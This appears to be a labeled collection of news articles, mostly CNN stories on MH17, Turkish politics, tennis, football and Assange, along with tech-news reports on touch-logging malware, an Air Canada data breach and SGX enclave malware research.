Malaysia Airlines Flight 17 crashes in UkraineBelongings of passengers lie in the grass on July 18, 2014.Hide Caption 35 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkrainePeople inspect the crash site on Thursday, July 17, 2014.Hide Caption 36 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkrainePeople walk amid the debris at the site of the crash.Hide Caption 37 of 58 Photos: Malaysia Airlines Flight 17 crashes in Ukraine Debris smoulders in a field near the Russian border. Hide Caption 38 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineFire engines arrive at the crash site.Hide Caption 39 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA man stands next to wreckage.Hide Caption 40 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineDebris from the crashed jet lies in a field in Ukraine.Hide Caption 41 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineFamily members of those aboard Flight 17 leave Schiphol Airport near Amsterdam, Netherlands.Hide Caption 42 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA large piece of the plane lies on the ground.Hide Caption 43 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineLuggage from the flight sits in a field at the crash site.Hide Caption 44 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA couple walks to the location at Schiphol Airport where more information would be given regarding the flight.Hide Caption 45 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineFlight arrivals are listed at the Kuala Lumpur International Airport in Sepang, Malaysia.Hide Caption 46 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineDebris from the Boeing 777, pictured on July 17, 2014.Hide Caption 47 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA man inspects debris from the plane.Hide Caption 48 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineWreckage from the plane is seen on July 17, 2014.Hide Caption 49 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA man talks with security at Schiphol Airport on July 17, 2014.Hide Caption 50 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineWreckage burns in Ukraine.Hide Caption 51 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA man stands next to the wreckage of the airliner.Hide Caption 52 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkrainePeople inspect a piece of wreckage believed to be from Malaysia Airlines Flight 17. This image was posted to Twitter.Hide Caption 53 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkrainePeople inspect a piece of wreckage believed to be from Malaysia Airlines Flight 17. This image was posted to Twitter.Hide Caption 54 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA piece of wreckage believed to be from Malaysia Airlines Flight 17. This image was posted to Twitter.Hide Caption 55 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA piece of wreckage believed to be from MH17. This image was posted to Twitter.Hide Caption 56 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineAn airsickness bag believed to be from MH17. This image was posted to Twitter.Hide Caption 57 of 58 Photos: Malaysia Airlines Flight 17 crashes in UkraineA piece of wreckage believed to be from MH17. This image was posted to Twitter.Hide Caption 58 of 58"The facts of looting, how the terrorists are dealing with the bodies, are beyond the moral boundaries," Ukrainian President Petro Poroshenko, whose government is locked in a bitter conflict with the rebels, said at the time.The reported interference with the wreckage and difficulties gaining access to the crash site have complicated the task of investigators seeking to establish what happened.In one case highlighting the free-for-all at the site, a television reporter caused an uproar by rummaging through the contents of an open suitcase during a broadcast.Video of the immediate aftermath of the disaster has also emerged previously, and unverified material has circulated online.News Corp Australia said it had turned the video it published Friday over to international investigators this week. The Dutch Safety Board, which has been leading the investigation into the crash, declined to comment on the video when CNN contacted it.Victims honored in Australia, the NetherlandsThe coverage comes on a day when the victims, who came from all around the world, are being honored.JUST WATCHEDUkraine President: MH17 culprits must take 'responsibility'ReplayMore Videos ...MUST WATCHUkraine President: MH17 culprits must take 'responsibility' 01:52In Australia, a ceremony was held in the Great Hall at Parliament House.Commemorations also are taking place in the Netherlands, home to the majority of the people on board Flight 17. The plane, a Boeing 777, was en route from Amsterdam to Kuala Lumpur, Malaysia, when it was shot down.Poroshenko also paid respects to the victims and their relatives in a video message Friday."Today, our people recall this tragedy and share the grief and sorrow of the families who lost their loved ones," he said.CNN's Elizabeth Joseph and Alla Eshchenko contributed to this report. | 0 |
Story highlightsRecep Tayyip Erdogan announces a Cabinet reshuffle Three ministers resign after their sons were detained in recent daysPrime minister blames the instability in his government on political rivalsBut prosecutors in Istanbul have said corruption is the problemThe government of key U.S. ally Turkey began to crack this week. There are rumblings that an Islamic cleric living in the United States may have something to do it. But prosecutors in Istanbul have said corruption is the culprit.Three Cabinet ministers resigned their posts Wednesday, days after their sons were arrested or temporarily detained in an anti-graft sting, semiofficial news agency Anadolu reported. One of them -- Urbanization and Environment Minister Erdogan Bayraktar -- went further than the other two, not just resigning his Cabinet position but also calling on Prime Minister Recep Tayyip Erdogan to step down.On live television in Turkey, Bayraktar said Erdogan asked him to resign and make a statement that would ease pressure on Erdogan. Upset at this, Bayraktar declined to make the statement but stepped down from his Parliament seat as well as his Cabinet post, and called on Erdogan to resign "to make the people more comfortable.""They sent us two papers today -- one for our resignation, the other a statement. Of course I want to make it easier for my party. However, I find this wrong," said Bayraktar, whose son was briefly detained in the roundup but later released.Economy Minister Zafer Caglayan and Interior Minister Muammer Guler, whose sons were also arrested in the probe, also resigned Wednesday. Erdogan accepted the resignations, Anadolu reported. The sons were detained in a roundup that included the head of a public bank, several bureaucrats and high-profile businessmen. It came after a two-year probe by the Istanbul Prosecutor's Office into allegations of corruption including money laundering, gold smuggling and bribery.Also, local media outlets reported that former interior minister Idris Naim Sahin resigned from Erdogan's ruling Justice and Development Party or AKP. Sahin, who served as interior minister before Guler, will retain his seat in Parliament.The sweep comes in the runup to local elections in Turkey. Erdogan had been expected to reorganize his Cabinet, because some of his ministers will be running for office in March. Late Wednesday, he announced a Cabinet reshuffle, naming 10 new people."I had mentioned previously that there was the possibility of change by the end of the month. Some (ministers) asked to be removed. Some left their positions. Some are my decisions, which I submitted to the President and he has approved," Erdogan said.Efkan Ala was tapped as interior minister, Idris Gulluce as urbanization and environment minister, and Nihat Zeybekci was announced as the nation's new economy minister.Turkey bans journalists from police stationsPolitical rivalryOne of Erdogan's old allies, now a rival, could be having an influence on the crackdown, which Erdogan has called a "dirty, dirty operation" aimed at toppling his government.Erdogan appears to be in an open power struggle with former political backer Fethullah Gulen. Gulen is an Islamic cleric living in self-imposed exile in Pennsylvania, and his supporters are thought to be in key positions within the police force and the judiciary.Top government officials accused Gulen recently of trying to establish a "parallel state" within the Turkish government.The Hizmet Movement, the name preferred by Gulen's followers, has in the past thrown its support behind the Erdogan-led AKP. But the two have been publicly at odds over the last month. "It was a forced marriage and now it's an ugly divorce," said Ahmet Sik, a journalist who wrote a book on Gulen and his influence within the judiciary and the police force.Retaliation?In the wake of the arrests, Guler, who as interior minister controls the police force, dismissed scores of senior police officers. The government justified the purge by accusing them of carrying out the corruption arrests outside the chain of command.Journalists were hindered from covering the mass firings.Journalists accredited with the Turkish police were ordered to hand in their credentials as well as keys to the media briefing rooms in some police stations. "If there are any developments or press statements press members will be invited," read a statement from the police.Reporters who had long worked the police beat said the ban was unprecedented.According to press reports, Guler had no prior knowledge of the corruption probe that led to the detention of his son and the sons of the other ministers. He has denied any wrongdoing. Erdogan has repeatedly claimed, since the corruption arrests began on Tuesday, that international organizations with branches inside Turkey are trying to destabilize the country."This country has never been and never will be the operational space of international organizations. We will not allow the interest lobby, the war lobby, the blood lobby to carry out an operation under the guise of a corruption operation," he said during a speech on Sunday. | 0 |
Story highlightsTop seed Novak Djokovic loses to Tommy Robredo in CincinnatiSecond straight third round defeat for Djokovic in Masters 1000 eventsAndy Murray saves two match points before beating John IsnerSerena Williams into quarterfinals of women's tournament in OhioNovak Djokovic will go into the U.S. Open without the match practice he was seeking after suffering his second straight third round defeat in a Masters 1000 tournament.The world number one exited at this stage in Cincinnati Thursday to Spain's Tommy Robredo, beaten in straight sets, 7-6 7-5.Fresh off his honeymoon and with his first child due, Djokovic went out to eventual winner Jo-Wilfried Tsonga in Toronto last week.He had hoped to improve in this week's tournament, particularly as it's the only one of nine Masters 1000 events to elude him.JUST WATCHEDHow Novak and Petra conquered WimbledonReplayMore Videos ...MUST WATCHHow Novak and Petra conquered Wimbledon 08:12JUST WATCHEDNovak Djokovic wins Wimbledon crown ReplayMore Videos ...MUST WATCHNovak Djokovic wins Wimbledon crown 02:04JUST WATCHEDTennis legends' surprising comebacksReplayMore Videos ...MUST WATCHTennis legends' surprising comebacks 01:41Read: Djokovic beaten in Toronto Djokovic has been a four-time runner up on the hard courts in Ohio and lost to John Isner in the quarterfinals last year.This time around he did not even get to that stage, losing control of his match against Robredo after losing a tight first set tiebreak 8-6.Djokovic had actually retrieved an early break to level at 4-4 but could not take full advantage. A single break of service in the second set was enough for Robredo to close out a memorable win."Just many, many, many things are not clicking these two weeks on hard courts," Djokovic told the official ATP Tour website."It's unfortunate, but it's more than obvious I'm not playing even close to what I'm supposed to play. I have to keep on working and trying to get better for U.S.Open," added the Serbian.Earlier, Isner had two match points against former Wimbledon and U.S. Open champion Andy Murray before the Briton emerged the winner in three sets.Read: Djokovic revels in Wimbledon victoryMurray, who has slipped to eighth in the world rankings after having back surgery in 2013, eventually prevailed 6-7 6-4 7-6.America giant Isner had the match points on Murray's service as he trailed 5-6 in the deciding set, but could not capitalize on his opportunities.Murray took control of the subsequent tiebreaker and won it for the loss of just two points to go into the last eight."I played very well," Murray told Sky Sports. "This is a big win for me as he (Isner) plays extremely well here."In the women's tournament at the same venue, world number one Serena Williams maintained her hopes of a first Cincinnati title with a straight sets win over Italy's Flavia Pennetta 6-2 6-2 to reach the quarterfinals."I got an early break and just didn't let go," Williams told the official WTA Tour website.She will face Serbia's Jelena Jankovic for a place in the semifinals after the eighth seed later beat Sloane Stephens of America 7-6 6-4. | 0 |
Story highlightsBayern Munich ban two British tabloids from attending game against Manchester UnitedThe Daily Mirror and The Sun published headlines "You Schwein" and "You Dirty Schwein"The headlines referenced Bayern's Bastian Schweinsteiger, who sent off in Tuesday's matchThe second leg of the European Champions League quarterfinal takes place on WednesdayGermany football star Bastian Schweinsteiger woke up to headlines of "You Schwein" and "You Dirty Schwein" on Wednesday.Football matches between German and English have always been cannon fodder for Britain's red-top tabloids and The Sun and The Daily Mirror -- which have built their reputation on the use of puns in headlines -- duly went to town after a major European game.Their banner headlines -- The Sun went for "You Schwein" while The Daily Mirror had "You Dirty Schwein" -- were a reference to the red card awarded to Schweinsteiger, who was playing for Bayern Munich in a European Champions League first-leg tie against Manchester United on Tuesday -- after he fouled England star Wayne Rooney.But the two tabloids, who rely heavily on sport coverage to attract readers, have paid a price for their puns. Photos: Champions League quarterfinals Photos: Champions League quarterfinalsChampions League quarterfinals – Real Madrid beat Borussia Dortmund 3-0 in the first leg of their Champions League quarterfinal Wednesday. Gareth Bale opened the scoring in the third minute by poking the ball past Roman Weidenfeller. Hide Caption 1 of 7 Photos: Champions League quarterfinalsChampions League quarterfinals – Isco doubled the advantage later in the first half. He only played because Angel Di Maria was ill. Hide Caption 2 of 7 Photos: Champions League quarterfinalsChampions League quarterfinals – Cristiano Ronaldo made history when he completed the scoring in the second half. Hide Caption 3 of 7 Photos: Champions League quarterfinalsChampions League quarterfinals – In the other Champions League quarterfinal, Paris Saint-Germain beat Chelsea 3-1 in Paris. Ezequiel Lavezzi gave the home team an early third-minute lead. Hide Caption 4 of 7 Photos: Champions League quarterfinalsChampions League quarterfinals – But after Oscar won a contentious penalty, Eden Hazard leveled in the 27th minute. Hide Caption 5 of 7 Photos: Champions League quarterfinalsChampions League quarterfinals – No, Zlatan Ibrahimovic wasn't practising karate. He was controlling the ball. Hide Caption 6 of 7 Photos: Champions League quarterfinalsChampions League quarterfinals – David Luiz's own goal, pictured, and Javier Pastore's effort in injury time gave PSG the win. Hide Caption 7 of 7 Photos: Unbeatable Bayern clinch 24th Bundesliga title Photos: Unbeatable Bayern clinch 24th Bundesliga titleUnbeatable Bayern win 24th Bundesliga title – Bayern Munich's players celebrate with a replica of Bundesliga championship trophy after clinching the title at the Olympic Stadium in Berlin.Hide Caption 1 of 10 Photos: Unbeatable Bayern clinch 24th Bundesliga titleUnbeatable Bayern win 24th Bundesliga title – Toni Kroos (center) celebrates scoring Bayern Munich's opening goal against Hertha Berlin which helped seal a 24th Bundesliga title for the Bavarians. Hide Caption 2 of 10 Photos: Unbeatable Bayern clinch 24th Bundesliga titleUnbeatable Bayern win 24th Bundesliga title – Bastian Schweinsteiger celebrates after scoring in the 2-0 win against Mainz last weekend. Bayern have now scored 79 goals this season, but have some way to go if they are to equal the record the club set way in the 1971/72 season when they put away 101 goals in total. Hide Caption 3 of 10 Photos: Unbeatable Bayern clinch 24th Bundesliga titleUnbeatable Bayern win 24th Bundesliga title – Croatian striker Mario Mandzukic has been top scorer for Bayern in the league this season with 17 goals so far. Hide Caption 4 of 10 Photos: Unbeatable Bayern clinch 24th Bundesliga titleUnbeatable Bayern win 24th Bundesliga title – Goalkeeper Manuel Neuer has only let in 13 goals this season. The record for fewest goals conceded in a season stands at 18 -- a record the Bavarian side set last year. Hide Caption 5 of 10 Photos: Unbeatable Bayern clinch 24th Bundesliga titleUnbeatable Bayern win 24th Bundesliga title – It's been 52 games now since Bayern Munich lost a league game. The date was October 28 2012, the score 2-1 and the team was Bayer Leverkusen -- seen here celebrating what has proved an historic result. Hide Caption 6 of 10 Photos: Unbeatable Bayern clinch 24th Bundesliga titleUnbeatable Bayern win 24th Bundesliga title – Stuttgart are one of only two teams (along with Mainz) who have gone in at halftime in front against the Bavarians this season. Vedad Ibisevic's (pictured) 29th-minute goal put Stuttgart ahead before two late goals gave Bayern a win at the of January. Hide Caption 7 of 10 Photos: Unbeatable Bayern clinch 24th Bundesliga titleUnbeatable Bayern win 24th Bundesliga title – Bayern's incredible sequence of league results started under previous boss Jupp Heynckes. The 68-year-old oversaw a treble-winning season last year. Hide Caption 8 of 10 Photos: Unbeatable Bayern clinch 24th Bundesliga titleUnbeatable Bayern win 24th Bundesliga title – Pep Guardiola has continued where Heynckes left off, making Bayern an even more formidable force in both the league and in Europe.Hide Caption 9 of 10 Photos: Unbeatable Bayern clinch 24th Bundesliga titleUnbeatable Bayern win 24th Bundesliga title – The unbeatables pose for a team photo earlier this month. Bayern Munich has 77 points from 27 matches and now need 15 more from their remaining seven matches (a possible 21) to overhaul their own record (set last year) of most points in a season. Hide Caption 10 of 10 Photos: Barcelona's transfer ban Photos: Barcelona's transfer banBarca's ban – FIFA banned Barcelona in April from making new signings during the next two transfer windows. The punishment came after FIFA found Barca had broken rules regarding the "international transfer of minors."Hide Caption 1 of 5 Photos: Barcelona's transfer banBarcelona's transfer ban – Barcelona's president Josep Maria Bartomeu gave a response to FIFA's sanction at a press conference on Thursday.Hide Caption 2 of 5 Photos: Barcelona's transfer ban'Neymargate' – In what some have dubbed "Neymargate", the transfer of the Brazilian forward to Barcelona in June 2013 has cast a rare shadow over the Spanish giants. Hide Caption 3 of 5 Photos: Barcelona's transfer banRosell's resignation – Sandro Rosell quit as Barcelona president a day after a Spanish judge ordered an inquiry into Neymar's transfer, with former vice president Josep Maria Bartomeu moving into the hot seat.Hide Caption 4 of 5 Photos: Barcelona's transfer banProud tradition – Barcelona has a proud tradition of bringing through young players. Lionel Messi arrived at the club when he was 11 and has gone on to win the FIFA Ballon d'Or on four occasions.Hide Caption 5 of 5In German, schwein literally means pig, but in everyday language in Germany it's used as insult and Germans view it as a derogatory term.Outraged by the headlines, Bayern have banned the two newspapers from attending Wednesday's second-leg match at the club's Allianz Arena stadium.The reigning German and European champions described the headlines as "disrespectful, discriminatory and personally insulting" in an official statement."Especially in the Champions League where UEFA has organized a big campaign called 'RESPECT' where all players are required to wear that logo on their shirts," added the club."Therefore representatives of 'The Daily Mirror' and 'The Sun' will not be granted media accreditation at the Allianz Arena for the Manchester United match."The Daily Mirror declined to comment when contacted by CNN, while The Sun said: "We're currently talking to Bayern Munich."It's the latest example of British tabloids aiming misguided barbs towards Germany.Ahead of a European Championships semifinal between England and Germany in 1996, The Mirror's front page declared "Achtung! Surrender" next to pictures of English players wearing World War II helmets.An editorial in the paper read as a mock declaration of war. While Bayern punished the two British clubs, the German club has confirmed it has accepted its own punishment handed out by European football's governing body UEFA after their fans displayed a homophobic banner during a match against Arsenal.As a result, a part of the Allianz Arena will be closed for the match on April 9."Due to breaching this agreement when four attendees at our game with Arsenal showed a disrespectful banner in the Allianz Arena, 700 fans will now be locked out (for the United game) and we were fined €10,000," added Bayern in their statement. "We have accepted this."Tuesday's game finished 1-1, leaving Champions League holders Bayern as favorites to reach the semifinals.Read: Revenge for Ronaldo's Real MadridRead: Barca to appeal "unjust" ban | 0 |
Story highlightsEcuador grants asylum to Julian Assange, who is holed up in Ecuador's London embassyBritish police refuse to grant Wikileaks founder safe passage out of countryWhiteway: No precedent in UK for entering another country's embassyWhiteway: Such a move would further damage Ecuador-UK relationsEcuador has granted Julian Assange asylum out of concern the Wikileaks founder will be politically persecuted if extradited.The decision is a victory for Assange, who is trying to avoid being extradited to Sweden and has been holed up inside Ecuador's embassy in London for nearly two months.But the bad news for Assange is that British police have refused to grant him safe passage out of the country. The British government has pledged to send Assange to Sweden to face questioning on sex crimes charges, but Ecuador's foreign minister says if Assange is sent to Sweden, he could then be extradited to the United States to face charges of espionage or treason.More: Ecuador grants Assange asylumAssange and his supporters say a U.S. grand jury is weighing charges against him. U.S. Attorney General Eric Holder has said that the Justice Department has an "active, ongoing criminal investigation" into the WikiLeaks disclosure of classified U.S. diplomatic documents. CNN spoke to Paul Whiteway, an ex-British diplomat of more than 30 years and now director of the Independent Diplomat advisory group in London, about where the Assange situation is heading.JUST WATCHEDStandoff at Ecuador embassy over AssangeReplayMore Videos ...MUST WATCHStandoff at Ecuador embassy over Assange 02:56JUST WATCHEDCan Assange leave London?ReplayMore Videos ...MUST WATCHCan Assange leave London? 05:07JUST WATCHED101: WikiLeaks revealedReplayMore Videos ...MUST WATCH101: WikiLeaks revealed 00:59JUST WATCHEDAssange granted asylum in EcuadorReplayMore Videos ...MUST WATCHAssange granted asylum in Ecuador 02:42CNN: Can Assange leave London?Paul Whiteway: The fact Ecuador has granted political asylum to Assange doesn't actually make any real difference. Clearly he is not in Ecuador, he is in the Ecuadorian embassy in London, and for the time being he is able to remain there without being arrested. But he can't get to Ecuador without leaving the embassy without being arrested, so in a sense, it's a standoff.CNN: Could Assange escape by car or by plane?Whiteway: It's very unlikely. The embassy only occupies a part of the building, and is not a compound embassy, which has a car park inside it. Vehicles belonging to the embassy enjoy a degree of immunity, so if it was a compound embassy, he could get into the car, which could in theory take him out of the building. But at some point it would have to stop, and he would have to get out of the car and into an airplane, whereupon he would be arrested. But Ecuador's is not a compound embassy, so as soon as he steps out the door he is liable to be arrested.More: Of all countries, why choose Ecuador?Immunity would in theory apply to an Ecuadorian airplane, but that plane would have to have permission to land that the British government would not give. It's really hard to see how that could work.Also, that sort of subterfuge would be regarded as such a blatant disregarding of the convention on diplomatic relations that the bilateral relationship between Britain and Ecuador would mean even further damage to Ecuador's interests in the UK.More: Timeline of Assange's extradition battleCNN: Is there anything British police can do?Whiteway: All they can do is wait and watch. In theory the foreign secretary could make use of a 1987 act of Parliament to end to the inviolability of the Ecuadorian embassy, but this would take authorities into a gray area.Theoretically, this legislation is to be invoked in cases connected to public safety, national security, or town and country planning. Clearly Assange fits into none of those categories, and it's unlikely the British police will be going into the embassy anytime soon. CNN: Is there a precedent for marching into another country's embassy?Whiteway: While authorities could theoretically test the 1987 law, I can't think of any instance in this country where a government entered the premises of a mission (embassy) without permission from the head of the mission.The reasons for that are clear: Britain doesn't want to have itself in a situation where foreign governments can just march into its embassies overseas and arrest people. Diplomatic relations are established on the basis of reciprocity, and that is very important.CNN: How have Britain and Ecuador handled the Assange issue?Whiteway: In Britain, I suspect that in the Foreign Office there may be a slight sense of regret that they included a paragraph in their letter (to Ecuador) about the 1987 law (informing officials they had the legal wherewithal to enter the embassy and take Assange), because clearly it stung the Ecuadorians in a way. More: Why Assange's own country won't interveneBut I think it was always going to be a long haul to get this issue resolved, given that President Rafael Correa is quite sympathetic to what Julian Assange stands for; given that he had already been on the record publicly saying he was in favour of granting Assange asylum. It was always going to be difficult for him to walk away from that without losing face.CNN: Can Assange stay in the embassy forever?Whiteway: I don't think Mr. Assange is going to be going anywhere, let alone Ecuador, for the time being. There was the case in Hungary of the bishop who sought refuge in the U.S. embassy for 15 years, so some cases can take literally years to resolve. CNN: What will the atmosphere be like in the embassy?Whiteway: I'm sure they will have made him as comfortable as possible in the circumstances as they possible can. But it's a big distraction from their day job, and it's awkward having someone who's not on the diplomatic staff actually inside your embassy for any length of time, let alone for periods of months, so there is a price to pay from the embassy's point of view.Opinion: Assange's stubborn grip hurt WikiLeaks | 0 |
Are you using a pattern lock for your Smartphone to remain untouched from cyber criminals? But you are not aware that even your swipe gestures can be analyzed by hackers.
Neal Hindocha, a security adviser for the technology company Trustwave, has developed a prototype malware for the Smartphones that works the same as a keylogger software for desktop.
The malware dubbed as 'Screenlogging', is capable of monitoring finger swipes on the screen of your smart devices in combination with taking screenshots to know exactly how the user is interacting with their phone or tablet, reported by Forbes.
The concept used by him is the same that of Keyloggers, a critical type of malware for cyber criminals, which records the input typed into the keyboard and can easily detect passwords for email, social media and of online bank accounts. In the same way the 'Screenlogger' take care of the inputs taped and swiped on the screen. It logs the X and Y coordinates where the user has touched the screen, so a hacker would know what the user is doing and on which application.
Hindocha says, "If you're monitoring all touch events and the phone hasn't been touched for at least one hour, then you get a minimum of four touch events, you can assume that is a PIN code being entered."
He also added that "The more interesting thing is, if you get a screenshot and then overlay the touch events, you're looking at a screenshot of what the user is seeing, combined with dots, sequentially, where the user is touching the screen."
But the demonstration of Hindocha works only with the administrative privileges of the device i.e. On the jailbroken iOS and the rooted Android devices only. In order to install the malware, the device should be connected to a computer via USB cable. But this limitation don't mean to relax, because there are many similar vectors available to infect the device.
It would be estimated that the malicious version of the Proof-of-Concept app created by Hindocha, which is capable of tracking taps and swipes of the users' Smartphone, a malicious hacker might be able to steal PINs, account numbers, passwords and other sensitive information easily.
Hindocha is planning to demonstrate his 'Screenlogging' malware at the upcoming RSA Security conference next month.
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Air Canada has confirmed a data breach that may have affected about 20,000 customers of its 1.7 million mobile app users.
The company said it had "detected unusual log-in behavior" on its mobile app between August 22 and 24, during which the personal information for some of its customers "may potentially have been improperly accessed."
The exposed information contains basic information such as customers' names, email addresses, phone numbers, and other information they have added to their profiles.
Passport Numbers Exposed in Air Canada Data Breach
However, what's worrisome?
Hackers could have also accessed additional data including customer's passport number, passport expiration date, passport country of issuance and country of residence, Aeroplan number, known traveler number, NEXUS number, gender, date of birth, and nationality, if users had this information saved in their profile on the Air Canada mobile app.
The airline assured its customers that credit card information saved to their profile was "encrypted and stored in compliance with security standards set by the payment card industry or PCI standards," and therefore, are protected.
However, Air Canada still recommended affected customers to always monitor their credit card transactions and contact their financial services provider immediately if they found any unusual or unauthorized activity.
Reset Your Password
The company estimates about 1% of its 1.7 million people—or about 20,000 users in total—who use its mobile app may have been affected by the security breach.
Although currently, it is not clear how the data breach occurred, if it was a direct breach of Air Canada's systems, or if it was due to the reuse of passwords from other sites, the airline encourages users to reset their passwords using improved password guidelines, which says passwords should be at least 10 characters long and contain one symbol.
However, as a precaution, the airline has locked down all 1.7 million accounts until all of its customers—even those whose information was not exposed in the breach—change their passwords.
Air Canada has contacted potentially affected customers directly by email starting August 29 to tell them if their account has potentially been accessed by hackers improperly.
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(CNN)It was a good day to be an American at Wimbledon on Monday, with both Sloane Stephens and Frances Tiafoe causing upsets as the grass-court grand slam began. Stephens stunned two-time champion Petra Kvitova in straight sets, 6-3 6-4, while Tiafoe defeated world No.4 Stefanos Tsitsipas, 6-4 6-4 6-3. Around 6,000 people were in Court One to watch the unseeded Tiafoe dominate Tsitsipas, who has now bowed out of the opening round of Wimbledon in three of his last four attempts. Meanwhile, Tiafoe has only gotten as far as the third round at SW19 before but did reach the quarterfinals of the Australian Open in 2019."Definitely one of my best [matches]. From start to finish, it was pretty clean," Tiafoe, 23, said after the win.Read More"This is what you train for, this is what it's all about. I live for these kind of moments."READ: Barty discusses Wimbledon, her Olympic 'dream' and being her 'authentic self' Sloane Stephens celebrates beating Petra Kvitova at Wimbledon. 'So special'Meanwhile, Stephens gave an impressive performance to knock out Kvitova.The 28-year-old, who won the US Open in 2017, has never progressed past the quarterfinals at the All England Club but showed plenty of promise against the Czech 10th seed, in what was her first match playing on grass since 2019."It's so special, obviously not playing on grass for two years and then being able to come back, and my first match on grass is on Centre Court here with fans back is really just a dream," Stephens said after the match.Wimbledon is eagerly anticipated by tennis fans all around the world, and even more so this year after the tournament was canceled in 2020 because of the pandemic.At the moment, there are 50% stadium capacities for Centre Court and No. 1 Court, and 75% for the smaller show courts.The tournament's latter stages will be played in front of 100% capacity crowds as part of the UK government's pilot scheme. READ: Serena Williams confirms she will not play at 2020 Tokyo OlympicsJUST WATCHEDAshleigh Barty on her Olympic 'dream'ReplayMore Videos ...MUST WATCHAshleigh Barty on her Olympic 'dream' 01:57Halep out of Tokyo OlympicsIt's the last major tennis competition before the Olympics but many of the sport's top stars have pulled out of playing in Tokyo already. World No.3 Simona Halep is the latest to rule herself out after saying she needed more time to recover from a calf injury. She joins a growing list of absentees which includes the likes of Rafa Nadal, Dominic Thiem and Serena Williams."Nothing brings me more pride than representing Romania, but sadly the recovery from my calf injury requires more time and I have made the decision to withdraw from the Olympic Games this summer," Halep wrote on Twitter."After the disappointment of missing the French Open and Wimbledon, having to skip the Olympics is incredibly tough to digest, but I am determined to come back stronger." | 0 |
Cybersecurity researchers have discovered a way to hide malicious code in Intel SGX enclaves, a hardware-based memory encryption feature in modern processors that isolates sensitive code and data to protect it from disclosure or modification.
In other words, the technique allows attackers to implant malware code in a secure memory that uses protection features of SGX which are otherwise designed to protect important data from prying eyes or from being tampered, even on a compromised system.
Introduced with Intel's Skylake processors, SGX (Software Guard Extensions) allows developers to run selected application modules in a completely isolated secure region of memory, called enclaves, which are designed to be protected from processes running at higher privilege levels like the operating system, kernel, BIOS, SMM, hypervisor, etc.
However, a team of researchers, some of whom were behind the discovery of the Spectre-Meltdown CPU flaws, managed to bypass this protection and got their own malicious application in the secure enclaves by leveraging the age-old technique of return-oriented programming (ROP).
The attack also uses Transactional Synchronization eXtensions (TSX), found in modern Intel CPUs, in conjunction with a novel fault-resistant read primitive technique called TSX-based Address Probing (TAP).
TAP uses TSX to determine if a virtual address is accessible by the current process, and this exploration of memory is undetectable because operating system-level applications cannot look inside an enclave, by design.
"Our SGX-ROP attack uses new TSX-based memory-disclosure primitive and a write-anything-anywhere primitive to construct a code reuse attack from within an enclave which is then inadvertently executed by the host application," reads a research paper [PDF] published Tuesday.
To determine whether a memory page is writable, the team developed a fault-resistant write primitive, Checking Located Addresses for Writability (CLAW), which encapsulates the write instruction for the target memory page within a TSX transaction and explicitly aborts the transaction after the write.
After that, the writability of the target memory page can be deduced based on the return value of the transaction.
Once the malware gets its way into the secure enclave, the confidentiality and integrity that SGX fundamentally guarantees to legit programs would also prohibit researchers or security solutions from detecting and analyzing the malware within an enclave.
This would eventually allow the malware app to bypass various security technologies, such as operating system-level Address Space Layout Randomization (ASLR), stack canaries, and address sanitizer, as well as execute arbitrary code on the targeted system.
"Moreover, there's a potential threat of next-generation ransomware which securely keeps encryption keys inside the enclave and, if implemented correctly, prevents ransomware recovery tools," the academics explain.
The researchers said the proof-of-concept exploit developed by their team bypassed ASLR, stack canaries, and address sanitizer, to "run ROP gadgets in the host context enabling practical enclave malware," noting that the entire exploit process took 20.8 seconds.
In the end, the academics concluded that instead of "protecting users from harm, SGX currently poses a security threat, facilitating so-called super-malware with ready-to-hit exploits."
The mitigations against such attacks could be implemented in future generations of Intel CPUs that better sandbox the SGX enclaves. While some of those mitigations would require hardware-level changes without costing any performance, some would not require hardware modifications but would trade some performance.
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Story highlightsRussian is hosting an event for its banned Paralympic athletesThe International Paralympic Committee issued a blanket ban on Russian para-athletesRussia held a similar event for its would-be Olympians ahead of Rio 2016Moscow, Russia (CNN)It's not the competition Russia's para-athletes had been dreaming of.Banned from Rio, the "All Russian Open Paralympic Competition," held near Moscow on Thursday was a way for the nation's would-be Paralympians to display their prowess.The event staged at the Federal Training Centre in Novogorsk, a small town outside of the capital, is being staged due to the International Paralympic Committee's blanket ban on Russian para-athletes competing at Rio 2016.There were a few locals in the stands supporting and a significant number of press. The bulk of the support came from students at the Russian Ministry of Civil Defence who were all seated in a large stand at one end of the track. There were a few youngsters sporting banners of good will for the barred athletes attending this two-day event.Read MoreRead: Paralympics begin with a bang Photos: Rio Paralympics: 9 stars to watch Photos: Rio Paralympics: 9 stars to watchMarkus Rehm - Germany – Often referred to as the "Blade Jumper," Markus Rehm won Paralympic gold in the long jump at the London Games in 2012 and holds the world record of 8.40 meters in the F44 competition class which he set at the world championships in Doha in 2015.Hide Caption 1 of 9 Photos: Rio Paralympics: 9 stars to watchAlessandro Zanardi - Italy – Alex Zanardi was a racing driver until he lost both legs in a horrific CART crash in 2001. He tried hand cycling in 2007 and later became a Paralympic athlete. He won two gold and silver at London 2012, and is a world champion in road race and time trial events.Hide Caption 2 of 9 Photos: Rio Paralympics: 9 stars to watchMelissa Stockwell - USA – Melissa Stockwell was the first female American solider to lose a limb in active combat during the Iraq War. She is aiming to become the first Paralympic triathlon champion as the sport makes its debut in Rio. Hide Caption 3 of 9 Photos: Rio Paralympics: 9 stars to watchRyley Batt - Australia – Ryley Batt is only 27 but competing in his fourth Paralympic Games. The wheelchair rugby player, who even opponents say is the best, led Australia to gold at London 2012 and victory at the 2014 